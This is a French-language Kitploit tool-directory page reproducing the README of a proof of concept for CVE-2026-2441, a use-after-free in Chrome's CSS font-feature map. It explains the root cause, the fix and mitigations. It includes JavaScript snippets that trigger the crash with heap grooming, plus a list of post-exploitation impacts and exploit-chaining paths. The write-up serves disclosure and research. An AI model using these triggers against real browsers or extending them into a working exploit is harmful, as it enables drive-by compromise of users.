Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-2441-PoC — Preuve de concept pour CVE-2026-2441, un use-after-free CSS dans Chrome menant à une exécution de code à distance (RCE) dans le renderer sandboxé. Inclut trois méthodes de déclenchement, le grooming du tas et une analyse détaillée. | Kitploit
Outils/GitHubGitHub/d3b0j33t/cve-2026-2441-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubd3b0j33t/cve-2026-2441-poc

CVE-2026-2441-PoC

Preuve de concept pour CVE-2026-2441, un use-after-free CSS dans Chrome menant à une exécution de code à distance (RCE) dans le renderer sandboxé. Inclut trois méthodes de déclenchement, le grooming du tas et une analyse détaillée.

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-2441 — Use-After-Free dans Chrome CSSFontFeatureValuesMap

CVSS 8.8 (Élevé) | Exploité activement dans la nature | Exécution de code à distance dans le rendu (Sandboxé)

Une vulnérabilité use-after-free dans le moteur CSS Blink de Google Chrome qui permet à un attaquant distant d'exécuter du code arbitraire dans le sandbox du navigateur via une page HTML conçue à cet effet.

Détails de la vulnérabilité

ChampValeur
CVECVE-2026-2441
CVSS8.8 (Élevé)
TypeUse-After-Free (CWE-416)
ComposantBlink CSS — CSSFontFeatureValuesMap
Fichier sourcethird_party/blink/renderer/core/css/css_font_feature_values_map.cc
Commit de correction63f3cb4864c64c677cd60c76c8cb49d37d08319c
SignaleurShaheen Fazim (2026-02-11)
Date du correctif2026-02-13
Dans la natureOui — Google a confirmé une exploitation active

Versions concernées

PlateformeVulnérableCorrigé
Windows / macOS (Stable)< 145.0.7632.75>= 145.0.7632.75
Linux (Stable)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS (Stable étendu)< 144.0.7559.177>= 144.0.7559.177
Navigateurs basés sur Chromium (Edge, Brave, Opera, Vivaldi)Consulter l'avis du fournisseurVariable

Cause racine

FontFeatureValuesMapIterationSource stockait un pointeur brut (const FontFeatureAliases* aliases_) vers la HashMap interne FontFeatureAliases. Lorsque la map est modifiée pendant l'itération via set() ou delete(), la HashMap est ré-hashée — allouant un nouveau stockage et libérant l'ancien. Le pointeur brut devient dangereux (dangling), et le prochain appel à FetchNextItem() lit de la mémoire libérée.

Chemin de code vulnérable

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = pointeur brut vers la HashMap interne
  → iterator_ = aliases_->begin()

FetchNextItem()
  → lit iterator_->key  (via aliases_)

Si map.set() / map.delete() est appelé entre les itérations :
  → La HashMap est ré-hashée (nouvelle allocation, ancienne libérée)
  → aliases_ → pointeur dangereux (dangling)
  → iterator_ → invalidé
  → Prochain FetchNextItem() → USE-AFTER-FREE

Correctif

root@kitploit:~
- const FontFeatureAliases* aliases_;   // pointeur brut → dangereux après ré-hashage
+ const FontFeatureAliases aliases_;    // copie profonde → insensible au ré-hashage

Le correctif remplace le pointeur brut par une copie profonde de la HashMap. Même si la map d'origine est ré-hashée, l'itérateur opère sur sa propre copie, empêchant le pointeur dangereux.

Preuve de concept

Utilisation

  1. Ouvrir poc.html dans une version vulnérable de Chrome (< 145.0.7632.75)
  2. La page tentera de déclencher l'UAF via trois méthodes différentes

Résultats attendus

Version de ChromeComportement attendu
< 145.0.7632.75 (non corrigé)Crash du rendu — STATUS_ACCESS_VIOLATION (Windows) ou SIGSEGV (Linux/macOS). Chrome affiche l'erreur « Impossible d'ouvrir cette page ».
>= 145.0.7632.75 (corrigé)Pas de crash — la PoC s'exécute jusqu'au bout, toutes les entrées sont lues normalement.

Capture d'écran (Chrome non corrigé — Crash)

Lorsqu'elle est ouverte dans une version vulnérable de Chrome, le processus de rendu plante avec STATUS_ACCESS_VIOLATION :

root@kitploit:~
Impossible d'ouvrir cette page

Code d'erreur : STATUS_ACCESS_VIOLATION

Cela confirme que l'UAF est déclenchée — le pointeur dangereux accède à de la mémoire libérée/non mappée, provoquant la terminaison du processus de rendu.

Comment fonctionne la PoC

La PoC déclenche l'UAF via trois méthodes indépendantes :

Méthode 1 : Itérateur entries() + boucle de mutation

root@kitploit:~
const iterator = map.entries();
while (step < 20) {
    iterator.next();          // lecture via le pointeur (désormais dangereux)
    map.delete(key);          // déclenche le ré-hashage
    for (i = 0; i < 512; i++)
        map.set("spray_" + i, [i]);  // force la réallocation
}

Méthode 2 : for...of + mutation concurrente

root@kitploit:~
for (const [k, v] of map) {
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("alt_" + i, [i]);
}

Méthode 3 : requestAnimationFrame + recalcul de mise en page

root@kitploit:~
function rafTrigger() {
    document.body.offsetWidth;   // force le recalcul de mise en page
    const result = iterator.next();
    map.delete(k);
    for (i = 0; i < 512; i++)
        map.set("raf_" + i, [i]);
    requestAnimationFrame(rafTrigger);
}

Chaque méthode inclut également un grooming du tas (heap grooming) — allouant 50 règles @font-feature-values de même taille pour rendre la disposition du tas prévisible en vue d'une exploitation potentielle.

Impact

Immédiat (limité au sandbox)

  • Exécution de code arbitraire dans le sandbox du processus de rendu
  • Divulgation d'informations — fuite des pointeurs du tas V8 (contournement ASLR), lecture du contenu mémoire du rendu
  • Vol d'identifiants — lecture de document.cookie, localStorage, sessionStorage, valeurs des champs de formulaire
  • Détournement de session — vol des jetons de session, exfiltration via fetch() / WebSocket / sendBeacon()
  • Manipulation du DOM — injection de formulaires de phishing, modification du contenu de la page
  • Enregistrement de frappes clavier — capture de toutes les frappes via addEventListener('keydown')

Enchaîné (avec évasion du sandbox)

Lorsqu'elle est combinée à une vulnérabilité distincte d'évasion du sandbox :

root@kitploit:~
RCE du rendu (CVE-2026-2441)
    → Exploitation Mojo IPC → RCE du processus navigateur
        → Exploitation du noyau → Compromission totale du système
            → Installation de malware / ransomware / logiciel espion
            → Accès au système de fichiers, mouvement latéral, persistance

Chaînes d'exploitation réelles utilisant des UAF similaires dans les navigateurs :

  • NSO Pegasus — UAF WebKit + évasion du sandbox + exploitation du noyau
  • Intellexa Predator — UAF Chrome + exploitation du noyau Android
  • APT-28 (Fancy Bear) — 0-day Chrome + chaîne LPE Windows

Vecteur d'attaque

Cette vulnérabilité est exploitable via un téléchargement furtif (drive-by download) — aucune interaction de l'utilisateur au-delà de la visite d'une page malveillante n'est requise :

  • Malvertising — publicités malveillantes diffusées via des réseaux publicitaires légitimes
  • Watering hole — compromission d'un site fréquemment visité par la cible
  • Hameçonnage ciblé (spear phishing) — envoi d'un lien conçu via e-mail ou messagerie

Atténuation

  1. Mettre à jour Chrome vers >= 145.0.7632.75 (Windows/macOS) ou >= 144.0.7559.75 (Linux)
  2. Mettre à jour les navigateurs basés sur Chromium (Edge, Brave, Opera, Vivaldi) lorsque les correctifs des fournisseurs sont disponibles
  3. Vérifier que l'isolation des sites est activée (chrome://flags/#site-isolation-trial-opt-out)
  4. Surveiller les points de terminaison pour les versions de Chrome inférieures aux builds corrigés

Chronologie

DateÉvénement
2026-02-11Vulnérabilité signalée par Shaheen Fazim
2026-02-13Google publie Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux)
2026-02-13Google reconnaît une exploitation dans la nature
2026-02-16Vivaldi et Opera publient des correctifs

Références

  • Blog des versions de Google Chrome
  • NVD — CVE-2026-2441
  • The Hacker News — Zero-Day Chrome sous attaque active
  • Suivi des problèmes Chromium (restreint)

Soutien

Si vous trouvez cette recherche utile, pensez à m'offrir un café :

Buy Me A Coffee

Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de recherche en sécurité autorisée. L'utilisation de cette PoC contre des systèmes sans autorisation explicite est illégale et contraire à l'éthique. L'auteur n'est pas responsable de toute utilisation abusive.

Licence

MIT

Télécharger l’outil